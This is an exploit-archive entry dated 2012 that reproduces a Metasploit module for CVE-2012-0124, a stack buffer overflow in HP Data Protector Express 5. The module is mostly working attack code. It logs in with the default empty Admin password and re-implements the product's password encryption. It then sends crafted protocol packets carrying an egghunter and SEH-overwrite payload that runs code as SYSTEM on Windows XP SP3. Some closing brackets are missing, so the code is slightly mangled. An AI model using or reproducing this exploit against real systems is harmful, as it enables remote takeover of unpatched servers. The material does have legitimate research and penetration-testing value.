发布 2012-07-01 漏洞条目

HP Data Protector – Create New Folder Buffer Overflow (Metasploit)

Exploit Source

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

include Msf::Exploit::Remote::Seh

include Msf::Exploit::Remote::Egghunter

def initialize(info = {})

super(update_info(info,

'Name' => 'HP Data Protector Create New Folder Buffer Overflow',

'Description' => %q{

This module exploits a stack buffer overflow in HP Data Protector 5. The overflow

occurs in the creation of new folders, where the name of the folder is handled in a

insecure way by the dpwindtb.dll component. While the overflow occurs in the stack, the

folder name is split in fragments in this insecure copy. Because of this, this module

uses egg hunting to search a non corrupted copy of the payload in the heap. On the other

hand the overflowed buffer is stored in a frame protected by stack cookies, because of

this SEH handler overwrite is used.

Any user of HP Data Protector Express is able to create new folders and trigger the

vulnerability. Moreover, in the default installation the 'Admin' user has an empty

password. Successful exploitation will lead to code execution with the privileges of

the "dpwinsdr.exe" (HP Data Protector Express Domain Server Service) process, which

runs as SYSTEM by default.

'Author' =>

[

'juan vazquez',

'sinn3r'

'Version' => '$Revision: $',

'References' =>

[

[ 'CVE', '2012-0124' ],

[ 'OSVDB', '80105' ],

[ 'BID', '52431' ],

[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03229235' ]

'Payload' =>

{

'Space' => 2000,

'BadChars' => "\x00\x2f\x5c",

'DisableNops' => true

'Platform' => 'win',

'Targets' =>

[

['HP Data Protector Express 5.0.00.59287 / Windows XP SP3',

{

'Ret' => 0x66dd3e49, # ppr from ifsutil.dll (stable over windows updates on June 26, 2012)

'Offset' => 2730

}

'DefaultTarget' => 0,

'Privileged' => true,

'DisclosureDate' => 'Mar 12 2012'

))

register_options(

[

Opt::RPORT(3817),

OptString.new('USERNAME', [ true, 'The username to authenticate as','Admin' ]),

OptString.new('PASSWORD', [ false, 'The password for the specified username','' ])

], self.class)

end

# dpwinsup!SvcEncrypt2

def encrypt_password(password)

if not password or password.empty?

return ""

end

result = ""

count = 0x80

i = 0

dl = 0

al = password.unpack("C*")[i]

while count > 2

al = al + dl

if al >= 0x100 then al = al - 0x100 end

al = al + 0x22

if al >= 0x100 then al = al - 0x100 end

al = al ^ 0x2b

if al >= 0x100 then al = al - 0x100 end

al = al + 0x4c

if al >= 0x100 then al = al - 0x100 end

al = al ^ 0x5f

if al >= 0x100 then al = al - 0x100 end

al = al - dl

if al >= 0x100 then al = al - 0x100 end

bl = al

if bl >= 0x100 then bl = bl - 0x100 end

bl = bl >> 4

if bl >= 0x100 then bl = bl - 0x100 end

bl = bl + 0x41

if bl >= 0x100 then bl = bl - 0x100 end

result << [bl].pack("C")

al = al & 0xf

if al >= 0x100 then al = al - 0x100 end

al = al + 0x41

if al >= 0x100 then al = al - 0x100 end

i = i + 1

result << [al].pack("C")

dl = dl + 5

if dl >= 0x100 then dl = dl - 0x100 end

count = count - 2

if i >= password.length

return result

end

al = password.unpack("C*")[i]

end

return result

end

def exploit

connect

machine_name = rand_text_alpha(15)

print_status("#{sock.peerinfo} - Sending Hello Request")

hello = "\x54\x84\x00\x00\x00\x00\x00\x00" << "\x00\x01\x00\x00\x92\x00\x00\x00"

hello << "\x3a\x53\xa5\x71\x06\x20\x80\x00" << "\x6a\x02\xaf\x03\xf8\xc5\xc7\x02"

hello << "\x01\x00\x00\x00\xc0\xa8\x01\x85" << "\x00\x00\x00\x00\x00\x00\x00\x00"

hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"

hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"

hello << "\x00\x00\x00\x00"

hello << machine_name << "\x00"

hello << "\x5b\x2e\xad\x71\x50\x03\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44"

hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\xf8\x31\x0a\x10"

hello << "\x50\x03\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x6c\xfa"

sock.put(hello)

hello_response = sock.get

if not hello_response or hello_response.empty?

print_error("#{sock.peerinfo} - The Hello Request haven't had response")

return

end

print_status("#{sock.peerinfo} - Sending Authentication Request")

auth = "\x51\x84\x00\x00\x02\x02\x02\x32" << "\x18\x00\x00\x00\xa4\x01\x00\x00"

auth << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"

auth << "\x00\x00\x00\x00\x01\x10\x00\x00" << "\xd1\x00\x97\x4e\xb8\xe7\x03\x00"

auth << "\xd5\x21\xe6\xff"

user = datastore['USERNAME']

pass = encrypt_password(datastore['PASSWORD'])

auth[20, user.length] = user

if pass and not pass.empty?

auth[276, pass.length] = pass

end

sock.put(auth)

auth_response = sock.get

if not auth_response or auth_response.empty?

print_error("#{sock.peerinfo} - The Authentication Request haven't had response")

return

end

print_status("#{sock.peerinfo} - Sending Token Request")

request_token = "\x51\x84\x00\x00\x02\x02\x02\x32" << "\x02\x00\x00\x00\x24\x00\x00\x00"

request_token << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"

request_token << "\x07\x00\x00\x00"

sock.put(request_token)

response_token = sock.get

if not response_token or response_token.empty?

print_error("#{sock.peerinfo} - The Token Request haven't had response")

return

end

print_status("#{sock.peerinfo} - Sending Home Identifier Request")

request_home_identifier = "\x51\x84\x00\x00\x02\x02\x02\x32" << "\x03\x00\x00\x00\x30\x00\x00\x00"

request_home_identifier << "\x00\x00\x00\x00"

request_home_identifier << response_token[-8,8]

request_home_identifier << "\x02\x10\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x01\x00\xff\xff"

request_home_identifier << "\x00\x00\x00\x00"

sock.put(request_home_identifier)

response_home_identifier = sock.get

if not response_home_identifier or response_home_identifier.empty?

print_error("#{sock.peerinfo} - The Home Identifier Request haven't had response")

return

end

print_status("#{sock.peerinfo} - Sending Home Contents Request")

request_home_contents = "\x51\x84\x00\x00\x02\x02\x02\x32" << "\x04\x00\x00\x00\x3c\x00\x00\x00"

request_home_contents << "\x00\x00\x00\x00\x00\x00\x00\x00"

request_home_contents << response_token[-8,8]

request_home_contents << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x02\x10\x00\x00"

request_home_contents << response_home_identifier[24,9] << "\00\x00\x00\x00\x0d\x00\x00"

sock.put(request_home_contents)

response_home_contents = sock.get

if not response_home_contents or response_home_contents.empty?

print_error("#{sock.peerinfo} - The Home Contents Request haven't had response")

return

end

hunter,egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true, :eggtag => 'w00t' })

my_payload = egg

my_payload << rand_text(target['Offset']-my_payload.length)

my_payload << generate_seh_record(target.ret)

my_payload << hunter

print_status("#{sock.peerinfo} - Sending Create Object Request")

create_object_request = "\x51\x84\x00\x00\x02\x02\x02\x32" << "\x06\x00\x00\x00\x39\x11\x00\x00"

create_object_request << "\x00\x00\x00\x00"

create_object_request << response_token[-8,8]

create_object_request << response_home_contents[20, 14] << "\x00\x00"

create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"

create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x20\x03\x00\x00\x00\x00\x00\x00"

create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"

create_object_request << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00"

create_object_request << my_payload << "\x00"

create_object_request[12, 4] = [create_object_request.length].pack("V")

sock.put(create_object_request)

disconnect

end

作者: Metasploit
日期: 2012-07-01
类别: remote
平台: windows

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